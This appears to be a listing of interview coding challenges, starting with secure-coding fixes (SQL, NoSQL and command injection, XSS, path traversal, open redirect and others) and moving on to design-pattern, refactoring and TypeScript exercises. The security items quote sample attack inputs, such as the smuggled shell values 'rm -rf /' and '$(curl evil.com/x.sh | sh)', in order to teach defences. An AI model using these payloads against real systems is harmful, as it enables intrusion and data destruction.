Interview Prep
Problems drawn from real interviews at product companies. Solve them in JavaScript, TypeScript, Python or SQL.
Difficulty
Topics
Language
97 challenges
The signup form below accepts any string as an email address without validation. The bug: malformed input flows downstream into emails, database records and third-party APIs — at best causing bounced emails, at worst becoming an injection vector in systems that trust the "email" field is actually shaped like one. Your task: fix solve(email) to return true only for strings shaped like local@domain.tld (non-empty local part, @, non-empty domain, a dot, non-empty TLD) — false otherwise.
The function below builds a SQL query by concatenating user input directly into the string. The bug: an attacker can pass admin' OR '1'='1 as the username and the resulting query becomes SELECT * FROM users WHERE username = 'admin' OR '1'='1' — always true, bypassing authentication entirely. Your task: fix solve(username) so it returns a parameterized query — a placeholder (?) in the SQL string, with the user input passed separately as a bind parameter, never concatenated.
The file-download endpoint below serves whatever path the client asks for, relative to an uploads folder. The bug: a request for ../../etc/passwd (or an absolute path like /etc/passwd) escapes the intended uploads directory entirely, exposing arbitrary files on the server. Your task: fix solve(userPath) so it returns the path unchanged when it's a safe relative path, or null when it contains .. or starts with /.
A post-login "redirect back to where you came from" feature takes a returnTo URL from the query string and redirects there unchecked. The bug: ?returnTo=https://evil-lookalike.com/login sends a freshly-authenticated user straight to a phishing page — and because the redirect started on the real, trusted domain, it's far more convincing than a cold phishing link. Protocol-relative URLs (//evil.com) are an easy-to-miss bypass of a naive check too. Your task: fix solve(url) so it returns url unchanged only when it's a same-site relative path (starts with / but not //) — otherwise it returns the safe fallback '/'.
A password-reset token generator is meant to build a token from a caller-supplied source of cryptographically-random integers. The bug: the buggy version ignores the secure source entirely and calls Math.random() instead — Math.random is a fast, statistically-predictable PRNG never intended for security purposes; tokens generated from it can be predicted or brute-forced far more easily than a real attacker should need. Your task: fix solve(randomInts) so it builds the token from the provided randomInts array (mapping each integer to a character via % alphabet.length), never by generating its own randomness internally.
The function below renders user-controlled content directly into an HTML string. The bug: an attacker can inject <script>alert('XSS')</script> as the argument and execute arbitrary JavaScript in the victim's browser — Cross-Site Scripting, one of the most common web vulnerabilities. Your task: fix solve(str) so every HTML special character is escaped before being returned. | Character | Escaped form | |-----------|--------------| | & | & | | < | < | | > | > | | " | " | | ' | ' | Safe strings must pass through unchanged.
The password-hashing function below is supposed to combine a password with a per-user salt, but the salt is silently ignored. The bug: without a salt actually mixed into the hash, two users with the same password get the exact same hash — letting an attacker with database access instantly spot duplicate passwords and use precomputed rainbow tables, defeating the entire purpose of salting. Your task: fix solve(password, salt) so the returned hash genuinely depends on both password and salt — changing either one must change the output.
The key-validation function below accepts any non-empty string as an encryption key. The bug: applications regularly ship with a default/placeholder key like "secret" or "changeme" in a config template — and if that default is never actually changed in production (a shockingly common real-world finding), every encrypted value is trivially decryptable by anyone who knows the well-documented default. Your task: fix solve(key) so it returns true only when the key is at least 16 characters long and is not one of the well-known weak/default values: 'secret', 'password', '12345', 'changeme', or an empty string (case-insensitive match).
A payment service logs the full request message for debugging, including whatever text was submitted. The bug: log files routinely have weaker access controls than the production database, get shipped to third-party log aggregators, and are kept far longer than necessary — logging a full credit card number is a direct path to a compliance violation and a data breach. Your task: fix solve(message) so any 16-digit credit card number in the message (with or without spaces/dashes grouping the digits in 4s) is replaced with * * followed by only the last 4 digits. Text with no card number is returned unchanged.
An API endpoint returns "the current user's profile" by sending back the full database record. The bug: the database record includes passwordHash — a field that should never leave the server. This is Juice Shop's very first listed challenge, "Password Hash Leak": obtain a user's password hash directly from a REST API response that was never supposed to include it. Your task: fix solve(user) so the returned object has every field from user except passwordHash.
The login handler below passes the request body straight into a MongoDB-style filter. The bug: MongoDB interprets object values as query operators. An attacker who sends { "username": "admin", "password": { "$ne": null } } as JSON gets a filter that matches any non-null password — logging in as admin without knowing the password. Your task: fix solve(input) so it only accepts username/password as plain strings — reject (return null) if either field is anything else, like an object carrying a $ne/$gt/$where operator.
The registration handler below builds a new user record directly from the request body. The bug: nothing stops a client from including an extra role: "admin" field in the JSON body — a registration request meant to create an ordinary customer silently creates an administrator instead. Your task: fix solve(input) so the returned user's role is always 'customer', regardless of anything the caller sent in input.role.
The config-loading function below parses untrusted JSON with no safeguards. The bug: a JSON payload containing a "__proto__" key can pollute Object.prototype for the entire running process once merged into an existing object elsewhere in the app — turning a "just parse some JSON" operation into a vector for corrupting unrelated code, bypassing security checks, or crashing the server. Your task: fix solve(json) so it parses the JSON and returns the result normally — but returns null instead if the parsed value (at any nesting level) contains a __proto__, constructor, or prototype key, or if the JSON is malformed.
The order-lookup handler below returns whatever order matches the requested ID — without checking who's asking. The bug: any logged-in user can view any order by simply changing the ID in the URL (/orders/1, /orders/2, ...) — a textbook Insecure Direct Object Reference. Your task: fix solve(currentUserId, order) so it returns the order only when order.ownerId matches currentUserId — null otherwise.
A "visit link" component takes a user-supplied URL and uses it directly as an href. The bug: javascript:alert(document.cookie) is a perfectly valid URL as far as the browser is concerned — clicking a link with that href executes the script, no <script> tag required. This is exactly Juice Shop's DOM-based XSS challenge category. Your task: fix solve(url) so any URL using the javascript: scheme (case-insensitively, with or without leading whitespace) is replaced with the safe fallback '#' — everything else passes through trimmed but otherwise unchanged.
A file-processing endpoint shells out to a CLI tool, passing a user-supplied filename. The bug: filenames like report.txt; rm -rf / or $(curl evil.com/x.sh | sh) get interpreted by the shell as additional commands, not as part of a filename — full remote code execution. Your task: fix solve(filename) so it returns true only for filenames made exclusively of letters, digits, dots, dashes and underscores — anything else (shell metacharacters like ;, |, &, $(, backticks, spaces) must return false.
The route guard below is meant to protect /admin/* routes, but always allows the request through — the admin link is simply hidden from the UI for non-admins, with no actual server-side check. The bug: hiding a link in the UI is not access control. Anyone who knows (or guesses) the URL /admin/users can reach it directly, regardless of role — this is exactly Juice Shop's "Admin Section" challenge. Your task: fix solve(role, route) so any route starting with /admin requires role === 'admin' — everything else is allowed through unchanged.
The login handler below returns a different, specific error message depending on whether the email exists or the password was wrong. The bug: "No account found with this email" vs "Incorrect password" lets an attacker enumerate every valid email address in the system by trying each one and watching which error comes back — a huge head start for credential-stuffing and phishing. Your task: fix solve(emailExists, passwordCorrect) so both failure cases return the exact same generic message, 'Invalid email or password.' — only the success case is distinguishable.
Define a family of interchangeable algorithms, encapsulate each one, and select between them at runtime — a sorter that can switch between ascending and descending order without changing Sorter itself. Implement AscendingStrategy/DescendingStrategy (sort(arr)) and Sorter.sort(arr), which delegates to whichever strategy it holds. solve(arr, strategyName) picks the strategy by name and returns the sorted array (the original arr must be left untouched).
Ensure a class has only one instance, and provide a global point of access to it — every call to getInstance() must return the exact same object, so state persists across "modules" that each grab their own reference. Implement Counter.getInstance() so it lazily creates the instance once and reuses it forever after, plus increment()/getValue() on that instance. solve(ops) runs a sequence of 'increment' | 'getValue' operations against Counter.getInstance(), collecting the results of every 'getValue' call. solve(['increment', 'increment', 'getValue']) → [2] — both increments landed on the same instance.
Create new objects by cloning an existing instance rather than instantiating from scratch — the clone must be fully independent: mutating it must never affect the original. Implement ShapePrototype.clone(), returning a new, independent ShapePrototype with the same type/color. solve(type, color, newColor) clones a shape, changes the clone's color to newColor, and returns both { original, clone } — proving the original is untouched.
Let a subject notify a list of subscribed observers whenever its state changes, without the subject knowing anything concrete about who's listening. Implement Subject.subscribe(name)/notify(value): every subscribed observer's update(value) should log { observer: name, value } when notified. solve(names, values) subscribes every name, then calls notify for every value, and returns the full log. solve(['a', 'b'], [1]) → [{ observer: 'a', value: 1 }, { observer: 'b', value: 1 }]
Defer object creation to a factory function so calling code depends on an interface, never on concrete classes. Implement createNotification(type), returning an EmailNotification, SMSNotification or PushNotification — each with a send(message) method that formats the message differently. solve(type, message) creates the right notification and returns send(message). solve('sms', 'Hi') → '[SMS] Hi'
Provide a single, simplified entry point in front of a set of complex subsystems, so callers don't need to know the CPU, Memory and Disk have to be driven in a specific order. Implement ComputerFacade.start()/shutdown(), each calling the three subsystems (CPU, Memory, Disk) in the right order and collecting their return values. solve(action) builds a ComputerFacade and calls start() or shutdown().
Construct a complex object step by step through a fluent, chainable API instead of one giant constructor call. Implement PizzaBuilder: setSize(size) and addTopping(topping) each return this so calls chain, and build() returns the final { size, toppings }. solve(steps) replays a list of { op: 'setSize' | 'addTopping', value } steps against a fresh builder and returns the built pizza.
Make an existing class's incompatible interface work with the interface client code expects, without modifying the original class. OldLogger only has logMessage(msg) returning 'OLD:' + msg. The rest of the app expects a Logger with info(msg) returning 'INFO:' + msg. Implement LoggerAdapter, wrapping an OldLogger to satisfy the Logger interface. solve(messages) logs each message through the adapter and returns the results.
Design a small animal hierarchy using interfaces and implements: Define interface Animal with: name: string, sound(): string. Define interface Pet extends Animal adding: owner: string. Implement class Dog implements Pet with: name and owner as constructor params. sound() returns "Woof!". Implement solve(name, owner) that creates a Dog and returns { name, owner, sound: dog.sound() }.
The Result pattern replaces thrown exceptions with typed return values. It's a discriminated union — a union type with a shared field (ok) that TypeScript uses to narrow to the correct variant: | Function | Signature | Description | |----------|-----------|-------------| | ok(value) | <T>(v: T) → Ok<T> | Wraps a successful value | | err(error) | <E>(e: E) → Err<E> | Wraps an error | | unwrapOr(result, default) | <T,E>(r: Result<T,E>, d: T) → T | Returns value or default | | isOk(result) | <T,E>(r: Result<T,E>) → r is Ok<T> | Type guard for success | The isOk return type result is Ok<T> is a type guard — calling it narrows result to the success branch.
Define the skeleton of an algorithm in a base class, deferring only specific steps to subclasses — every beverage boils water and pours a cup the same way, but brewing and condiments differ. Implement Tea/Coffee, overriding only brew() and addCondiments() — Beverage.prepare() (already wired) calls them in a fixed sequence. solve('tea') → ['Boil water', 'Steep tea', 'Pour in cup', 'Add lemon']
Let an object change its behavior when its internal state changes, by delegating to a state object rather than a pile of if/switch statements — a traffic light that cycles Red → Green → Yellow → Red. Implement RedState/GreenState/YellowState, each returning the NEXT state object from next(). solve(transitions) starts at Red and calls next() that many times, returning the full sequence of state names visited (including the starting state). solve(1) → ['Red', 'Green']
Magic numbers make code unreadable. What does 86400000 mean? What about 0.2? Refactor by introducing named constants so the intent is self-documenting. The output must remain identical.
Functions with many parameters are hard to call correctly — which order do the args go? Refactor so solve accepts a single options object instead of 5 positional arguments. solve({ firstName: 'Alice', lastName: 'Smith', age: 30, email: 'a@b.com', role: 'admin' })
Silently swallowing errors hides bugs and makes debugging a nightmare. Refactor solve(json) so failure is never silent: on success return { ok: true, value: <parsed> }, on failure return { ok: false, error: 'Invalid JSON' } — never a bare null that hides which case happened.
The function below does too many things at once — it validates, transforms and formats all in one block. Refactor solve(users) by extracting helper functions so each function does exactly one thing. The output must be identical. Your extracted version should have at minimum: isValid(user), formatUser(user), and the main solve(users) that composes them.
Complex boolean expressions in if statements hide intent. Refactor by extracting the condition into a named predicate isEligible(user). solve(user, 'isEligible') → true/false · solve(user, 'getStatus') → 'eligible'/'not-eligible'
Deep nesting is hard to read. Replace nested if blocks with guard clauses that return early. Refactor using guard clauses so the happy path is at the end with minimal nesting.
The functions below share ~80% of their logic. Any change to the formatting must be made in 3 places. Refactor by extracting a generic formatCurrency(amount, symbol) helper. Then solve(amount, type) dispatches to the right formatter — 'formatUSD', 'formatEUR', or 'formatGBP'.
A function should either do something (command) or answer something (query) — never both. Refactor into two separate functions: push(stack, value) — command: pushes value, returns null/void size(stack) — query: returns the current length, no mutation solve(stack, value, 'push') dispatches to push · solve(stack, 'size') dispatches to size.
The function below mutates its input array — a classic source of bugs. Refactor solve(cart, item) so it returns a new sorted array without modifying cart. After calling solve(cart, item), the original cart array must be unchanged.
A boolean flag argument is a code smell — it means the function does two things. Split this into two functions: createUser(name) and createAdminUser(name). Then solve(name, type) dispatches to the right one — no boolean flag. solve('Alice', 'createUser') → { name: 'Alice', role: 'user', permissions: ['read'] } solve('Bob', 'createAdminUser') → { name: 'Bob', role: 'admin', permissions: ['read', 'write', 'delete'] }
Use literal types and union types to build a small routing helper. Implement solve(direction, speed) where: direction is one of: "north" | "south" | "east" | "west" speed is one of: "slow" | "fast" Returns a string: "{direction} at {speed} speed" Also implement isCardinal(direction) which returns true if the direction is one of the four cardinal directions, false otherwise. Examples solve("north", "fast") → "north at fast speed" isCardinal("north") → true isCardinal("diagonal") → false
Record<K, V> creates an object type with keys of type K and values of type V. Implement two functions: groupBy<T>(items: T[], key: keyof T): Record<string, T[]> Groups items by the value of key. invertRecord(rec: Record<string, string>): Record<string, string> Swaps keys and values. Examples groupBy([{lang:'js'},{lang:'ts'},{lang:'js'}], 'lang') → { js: [{lang:'js'},{lang:'js'}], ts: [{lang:'ts'}] } invertRecord({ a: '1', b: '2' }) → { '1': 'a', '2': 'b' }
Use TypeScript's built-in utility types to implement two config-update helpers. applyDefaults<T>(defaults: T, overrides: Partial<T>): T Merges overrides into defaults. Properties in overrides overwrite defaults. requireAll<T>(config: Partial<T>): config is Required<T> Returns true if every value in the config is not undefined. Examples applyDefaults({ host: 'localhost', port: 3000 }, { port: 8080 }) → { host: 'localhost', port: 8080 } requireAll({ a: 1, b: 2 }) → true requireAll({ a: 1, b: undefined }) → false
TypeScript uses control flow analysis to narrow types within branches. Implement describe(value) that returns a string describing its input: | Input | Output | |---|---| | string | "string: {value}" | | number (non-NaN) | "number: {value}" | | Date instance | "date: {value.toISOString()}" | | object with name property | "named: {value.name}" | | anything else | "unknown" | Order matters — check from most specific to least specific. Examples describe("hello") → "string: hello" describe(42) → "number: 42" describe(new Date("2024-01-01")) → "date: 2024-01-01T00:00:00.000Z" describe({ name: "Alice" }) → "named: Alice"
Implement three generic utilities: identity<T>(value: T): T — returns the value as-is. first<T>(arr: T[]): T | null — returns the first element, or null for empty arrays. merge<A, B>(a: A, b: B): A & B — shallow-merges two objects. Then implement solve(fn, ...args) that dispatches to the right function. Examples identity(42) → 42 first([1, 2, 3]) → 1 first([]) → null merge({ a: 1 }, { b: 2 }) → { a: 1, b: 2 }
Add explicit TypeScript annotations to make the following functions type-safe. Implement three functions: greet(name) — accepts a string, returns a string greeting "Hello, {name}!". add(a, b) — accepts two numbers, returns their number sum. getFullName(user) — accepts an object with firstName: string and lastName: string, returns a string "{firstName} {lastName}". Examples greet("Alice") → "Hello, Alice!" add(3, 4) → 7 getFullName({ firstName: "Jane", lastName: "Doe" }) → "Jane Doe"
Implement five type guard functions. In TypeScript, a type guard is a function whose return type is x is T — a type predicate that narrows the type of a variable in the surrounding scope: | Guard | Passes for | Fails for | |-------|-----------|-----------| | isString | 'hello' | 42, null | | isNumber | 42 | '42', NaN | | isArray | [], [1,2,3] | {}, null | | isNullish | null, undefined | 0, '', false | | isObject | { a: 1 } | [], null, functions | isNumber must return false for NaN (it is typeof 'number' but not a valid number) isObject must return false for arrays (they are objects but not plain objects) isObject must return false for null (typeof null === 'object' is JS's famous bug)
In TypeScript, tuple types are fixed-length arrays where each index has a specific type: The difference from a plain array: Array<string | number> — every element is string | number [string, number] — position 0 is string, position 1 is number zip: pairs each element at the same index, stops at the shorter array unzip: inverse of zip — splits pairs back into two separate arrays
TypeScript's as const turns an object into a fully immutable, literal-typed structure — the idiomatic alternative to TypeScript enums: No runtime overhead — just a plain object No double declaration — one source of truth Works with union type utilities — Exclude<Direction, 'UP'> No numeric enum footguns — values are exactly what you write Two predefined const objects: Direction: { Up: 'UP', Down: 'DOWN', Left: 'LEFT', Right: 'RIGHT' } HttpStatus: { Ok: 200, NotFound: 404, Unauthorized: 401, Error: 500 } Implement isDirection(x): x is Direction and isHttpStatus(x): x is HttpStatus using Object.values().
TypeScript supports a special kind of function that asserts a condition. If the function returns without throwing, TypeScript narrows the type: The key difference from a type guard: Type guard (x is T): returns a boolean, narrowing happens in an if block Assertion function (asserts x is T): void return, narrowing happens after the call Throws Error with message if val is null or undefined If no message provided, use a descriptive default Returns void on success (TypeScript infers the narrowing) Note: NonNullable<T> is a built-in utility type that removes null | undefined from T.